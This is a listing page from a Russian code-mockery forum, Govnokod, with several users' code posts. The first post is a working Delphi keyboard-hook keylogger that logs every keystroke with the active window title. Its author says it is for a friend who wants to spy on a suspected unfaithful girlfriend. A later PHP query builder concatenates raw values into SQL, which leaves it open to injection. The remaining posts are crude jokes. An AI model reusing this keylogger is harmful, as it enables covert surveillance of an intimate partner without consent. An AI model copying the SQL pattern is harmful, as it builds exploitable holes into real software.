1. Pascal / Говнокод #24859

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    unit KHook;
    
    interface
    
    uses Windows, SysUtils, Messages;
    
    const
      WH_KEYBOARD_LL = 13;
      LLKHF_UP = $0080;
    
    type
      TKbdHookEvent=procedure (S:WideString);
    
    type
      PKbdDllHookStruct = ^TKbdDllHookStruct;
      TKbdDllHookStruct = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: PDWORD;
      end;
      KBDLLHOOKSTRUCT = TKbdDllHookStruct;
    
    implementation
    
    var
      KbdProc:TKbdHookEvent=nil;
      Hook:HHOOk;
      WinTitle:WideString='';
    
    function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
    var
      KeyName:WideString;
      CurrWinTitle:WideString;
      KeyState : TKeyboardState;
      hklLayout:HKL;
      FW:HWND;
    begin
       try
        if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
        begin
          FW:=GetForegroundWindow;
          hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
          GetKeyboardState(KeyState);
          SetLength(CurrWinTitle, 1000);
          SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
          with PKbdDllHookStruct(LParam)^ do
          case vkCode of
            VK_BACK:     KeyName := '[BackSpace]';
            VK_TAB:      KeyName := '[Tab]';
            VK_CAPITAL:  KeyName := '[CapsLock]';
            VK_RETURN:   KeyName := '[Enter]';
            VK_ESCAPE:   KeyName := '[Esc]';
            VK_CANCEL:   KeyName :=  '[Cancel]';
            VK_F1:       KeyName := '[F1]';
    			{...}
            VK_HELP:     KeyName := '[Help]';
          else
            SetLength(KeyName,1);
            KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
            KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
            if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
            KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
          end;
          if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
          if WinTitle='' then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:=CurrWinTitle+' {'#13#10+KeyName;
          end
          else if WinTitle <> CurrWinTitle then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
          end;
          KbdProc(KeyName);
        end;
      finally
         Result := CallNextHookEx(Hook,nCode,wParam,lParam);
      end;
    end;
    
    function SetHook(lpCallBack:TKbdHookEvent):Boolean;
    begin
      if Assigned(lpCallBack) then
      KbdProc:=lpCallBack;
      Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
      Result:=(Hook <> INVALID_HANDLE_VALUE);
    end;
    
    function RemoveHook:Boolean;
    begin
       Result:=UnHookWindowsHookEx(Hook);
    end;
    
      exports SetHook,
       RemoveHook;
    end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    BagorCtretora, 04 Октября 2018

    Комментарии (126)
  2. JavaScript / Говнокод #24858

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    //<?php
    $is_php = !'0';
    if ($is_php) {
        echo(PHP_EOL);
        perevedi_na_php();
    } else {
        console.log('//');
        perevedi_na_js();
    }
    
    function perevedi_na_php() {
        echo('Hello, "PHP"!' . PHP_EOL);
    }
    function perevedi_na_js() {
        console.log('Hello, "PHP"!');
    }

    Perevedi_na_PHP, 04 Октября 2018

    Комментарии (18)
  3. PHP / Говнокод #24857

    −2

    1. 1
    2. 2
    PHP + Java = JPHP
    https://habr.com/post/425223/

    Поэтому я за "JPHP".

    JPHP, 04 Октября 2018

    Комментарии (9)
  4. Куча / Говнокод #24856

    −3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    http://compuhumour.narod.ru/anecdot/programmer.html
    У программиста спрашивают:
     - Hе помнишь, сколько будет два в четвеpтой?
      - (без запинки) Шестнадцать.
      - А шестнадцать в четвеpтой?
      - (без запинки) Шестьдесят пять тысяч пятьсот тpидцать шесть.
      - Вот голова, ну ты даешь!!! Hу, а тpи в четвеpтой?
      - (после паузы) Hе помню точно. Дpобное число получается.

    То ли дело Сетунь

    j123123, 04 Октября 2018

    Комментарии (64)
  5. Куча / Говнокод #24855

    −105

    1. 1
    Заждались, дырочки?

    rHujlou_xyu, 04 Октября 2018

    Комментарии (1)
  6. 1C / Говнокод #24852

    0

    1. 1
    2. 2
    |			И (ПериодическийРегистрСведенийПриход.ВидДвижения = ЗНАЧЕНИЕ(Перечисление.ОРГ_ВидыДвижений.Приход))
    |			И (ПериодическийРегистрСведений.ВидДвижения = ЗНАЧЕНИЕ(Перечисление.ОРГ_ВидыДвижений.Расход))

    Регистр накопления? Не, это не для нас.

    Vukhdjaaz, 03 Октября 2018

    Комментарии (16)
  7. PHP / Говнокод #24851

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    require_once $_SERVER['DOCUMENT_ROOT'] . '/models/core/class.Application.php';
    require_once 'class.DatabaseConnect.php';
    require_once 'class.DatabaseResult.php';
    
    class DatabaseQuery extends Application {
    
        private $m_db_connect = NULL; //Соединение с БД
        private $m_query_statment = NULL; //Результат последнего запроса
        private $m_construct_query = NULL; //Строка формирования запроса
    
        public function __construct(DatabaseConnect $db_connect) {
            $this->m_db_connect = $db_connect;
        }
        
        public function __destruct() {
            $this->m_db_connect = null;
        }
    
        //Вставляет данные в таблицу
        public function insert($data) {
            if (count($data) === 0)
                return false;
            $query_list = [];
            //Обход таблиц
            foreach ($data as $t_name => $table) {
    
                //Ассациативный массив даннвх, где ключ массива это имя колонки в БД
                $column_list = [];
                //Копируем данные в отдельный массив	
                foreach ($table as $c_name => $column)
                    $column_list[$c_name] = $column;
                //Строка запроса
                $query = "INSERT INTO {$t_name} (" . implode(', ', array_keys($column_list)) . ') VALUES ';
                //Выпоняем обход
                for ($i = 0; $i < count($column_list[array_keys($column_list)[0]]); $i++) {
                    $query_values = '(';
                    //
                    foreach ($column_list as $c_name => $column)
                        $query_values .= '\'' . $column_list[$c_name][$i] . '\',';
    
                    $query_values = chop($query_values, ',') . '),';
                    $query .= $query_values;
                }
                $query_list[] = chop($query, ',');
            }
    
            try {
                for ($i = 0; $i < count($query_list); $i++) {
                    $result = $this->query($query_list[$i]);
                }
            } catch (PDOException $e) {
                Application::handlerErrorDB($e);
                return false;
            }
    
            return true;
        }
    
        public function setSelect($data = ['*']) {
            $query = 'SELECT ';
            foreach ($data as $v)
                $query .= $v . ',';
            $this->m_construct_query = chop($query, ',') . ' ';
            return $this;
        }
    
        public function setDelete($tables = []) {
            $query = 'DELETE ';
            foreach ($tables as $v)
                $query .= $v . ',';
            $this->m_construct_query = chop($query, ',') . ' ';
            return $this;
        }
    
        public function setUpdate($tables) {
            $query = 'UPDATE ';
            foreach ($tables as $v)
                $query .= $v . ',';
            $this->m_construct_query = chop($query, ',') . ' ';
            return $this;
        }
    
        public function setSet($data) {
            $query = 'SET ';
            foreach ($data as $k => $v)
                $query .= "$k = '$v',";
            $this->m_construct_query .= chop($query, ',') . ' ';
            return $this;
        }
    
        public function setFrom($tables) {
            $query = 'FROM ';
            foreach ($tables as $v)
                $query .= $v . ',';
            $this->m_construct_query .= chop($query, ',') . ' ';
            return $this;
        }
    
        ...

    Вот что бывает когда у тебя юношеский максимализм - ты пытаешь написать свой фреймворк, и при этом это твой первый проект на PHP.

    C3-PO, 03 Октября 2018

    Комментарии (17)
  8. Python / Говнокод #24850

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    import re
    
    def krpt(x):
        x = x.group(1)
        f = lambda x: "".join(filter(lambda x: x not in "АЕЁИОУЫЭЮЯ", x))
        xp = f(x)
        if len(xp) == 0:
           return x
        for i in open("dict.txt", "r"):
            i = i.strip().upper()
            t = f(i)
            if len(t) < len(xp): continue
            if xp == t[:len(xp)]:
                return i
        return x
    
    def KRPT(x):
        return re.sub("([А-ЯЁ]+)", krpt, x.upper())
        
    while "ПРЛС":
        print(KRPT(input("> ")))

    > какой багор )))
    АКАКИЙ БОГОРОДСК )))
    > лунная клизма, лай мне в анус
    АЛИНИН КЛИЗМА, ЛЕЙБНИЦ АМУНДСЕН АВИВ АНИСИЯ
    > какой-то ебень написал поебень
    АКАКИЙ-АООТ БЕНЬЯМИН НАПИСАЛА ПОЕБЕНЬ
    >

    MPA3b, 03 Октября 2018

    Комментарии (92)
  9. Куча / Говнокод #24849

    −2

    1. 1
    2. 2
    3. 3
    Ваш почтовый сервер говно.
    Я 2 часа ждал подтверждения регистрации на мыло гугла. 
    Но вот на fakemailgenerator.com оно пришло спустя 2 минуты.

    ПЫХАПЭ - говно.

    Lorip1971, 03 Октября 2018

    Комментарии (26)
  10. Куча / Говнокод #24847

    −13

    1. 1
    ЗА ЧТО ВЫ МЕНЯ НЕ ЛЮБИТЕ?

    ЧЕМ Я ВАМ НЕ УГОДИЛ?

    UPPERCASE, 02 Октября 2018

    Комментарии (123)